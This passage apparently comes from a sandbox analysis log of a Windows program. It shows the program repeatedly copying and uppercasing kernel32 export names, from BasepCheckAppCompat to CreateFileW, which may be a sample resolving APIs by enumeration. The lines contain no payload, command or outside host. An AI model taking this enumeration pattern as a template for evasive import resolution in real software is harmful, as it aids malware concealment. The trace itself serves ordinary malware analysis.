(lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0108.830] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0108.830] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0108.830] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0108.831] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0108.831] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0108.831] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0108.831] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0108.831] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0108.831] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0108.831] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0108.831] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0108.831] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0108.831] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0108.831] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0108.831] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0108.831] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0108.831] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0108.831] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0108.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0108.831] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0108.832] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0108.832] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0108.832] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0108.832] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0108.832] lstrlenA (lpString="BEEP") returned 4 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0108.832] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0108.832] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0108.832] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0108.832] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0108.832] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0108.832] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0108.832] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0108.832] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0108.832] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0108.832] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0108.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0108.832] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0108.833] lstrlenA (lpString="CANCELIO") returned 8 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0108.833] lstrlenA (lpString="CANCELIOEX") returned 10 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0108.833] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0108.833] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0108.833] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0108.833] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0108.833] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0108.833] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0108.833] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0108.833] lstrlenA (lpString="CHECKELEVATION") returned 14 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0108.833] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0108.833] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0108.833] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0108.833] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0108.833] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0108.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0108.833] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0108.834] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0108.834] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0108.834] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0108.834] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0108.834] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0108.834] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0108.834] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0108.834] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0108.834] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0108.834] lstrlenA (lpString="CLOSESTATE") returned 10 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0108.834] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0108.834] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0108.834] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0108.834] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0108.834] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0108.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0108.835] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0108.835] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0108.835] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0108.835] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0108.835] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0108.835] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0108.835] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0108.835] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0108.835] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0108.835] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0108.835] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0108.835] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0108.835] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0108.835] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0108.835] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0108.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0108.836] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0108.836] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0108.836] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0108.836] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0108.836] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0108.836] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0108.836] lstrlenA (lpString="COPYCONTEXT") returned 11 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0108.836] lstrlenA (lpString="COPYFILE2") returned 9 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0108.836] lstrlenA (lpString="COPYFILEA") returned 9 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0108.836] lstrlenA (lpString="COPYFILEEXA") returned 11 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0108.836] lstrlenA (lpString="COPYFILEEXW") returned 11 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0108.836] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0108.836] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0108.836] lstrlenA (lpString="COPYFILEW") returned 9 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0108.836] lstrlenA (lpString="COPYLZFILE") returned 10 [0108.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0108.837] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0108.837] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0108.837] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0108.837] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0108.837] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0108.837] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0108.837] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0108.837] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0108.837] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0108.837] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0108.837] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0108.837] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0108.837] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0108.837] lstrlenA (lpString="CREATEEVENTA") returned 12 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0108.837] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0108.837] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0108.838] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0108.838] lstrlenA (lpString="CREATEEVENTW") returned 12 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0108.838] lstrlenA (lpString="CREATEFIBER") returned 11 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0108.838] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0108.838] lstrlenA (lpString="CREATEFILE2") returned 11 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0108.838] lstrlenA (lpString="CREATEFILEA") returned 11 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0108.838] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0108.838] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0108.838] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0108.838] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0108.838] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0108.838] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0108.838] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0108.838] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0108.838] lstrlenA (lpString="CREATEFILEW") 